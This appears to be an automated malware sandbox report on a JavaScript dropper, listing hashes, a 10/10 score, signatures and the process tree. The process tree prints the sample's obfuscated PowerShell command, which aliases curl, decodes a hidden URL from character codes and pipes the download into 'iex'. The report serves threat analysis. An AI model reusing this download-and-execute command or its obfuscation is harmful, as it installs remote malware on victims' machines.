Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 15:07
General
-
Target
3278cc5c574c30d3da5de340cfa041ee2e688cf9a8d46c8f4718b8de6717ad43.js
-
Size
216KB
-
MD5
98e6f3a43315af9ccf41e56b10105d1d
-
SHA1
2e4b2c4a99537e17e9d3c3ef773c44b84d3722c3
-
SHA256
3278cc5c574c30d3da5de340cfa041ee2e688cf9a8d46c8f4718b8de6717ad43
-
SHA512
fe9da8de68220d3480ff7793d93145d871ad61f72dbc1252fc772727063944f6835d646650fa5b4663c7c3d231e5644341128be0fd8794f296da1038fb2042d7
-
SSDEEP
1536:nwjvkP++u4boUyU1iZi9AdW3z6j6P++u4boUyf1iZi9AdW3z6O41iZi9AdW3z63f:n9++e5jq++eUONf++eT++eV
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\3278cc5c574c30d3da5de340cfa041ee2e688cf9a8d46c8f4718b8de6717ad43.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $beklos='ur' ;new-alias printout c$($beklos)l;$mxwfrle=(1705,1716,1724,1708,1710,1705,1725,1724,1729,1662,1724,1658,1705,1653,1723,1718,1719,1654,1656,1653,1719,1711,1719,1670,1722,1668,1716,1712,1717,1723,1722,1657,1656);$vjmarifpxzun=('bronx','get-cmdlet');$gncutqe=$mxwfrle;foreach($tfaojd in $gncutqe){$bxsdgrjezqci=$tfaojd;$bgdmkunwlizo=$bgdmkunwlizo+[char]($bxsdgrjezqci-1607);$ceqrypsvm=$bgdmkunwlizo; $bwajnvygtrxhsk=$ceqrypsvm};$zpsjgr[2]=$bwajnvygtrxhsk;$eifpgmwonyx='rl';$bomqlrwndvxe=1;.$([char](9992-9887)+'e'+'x')(printout -useb $bwajnvygtrxhsk)1⤵
- Process spawned unexpected child process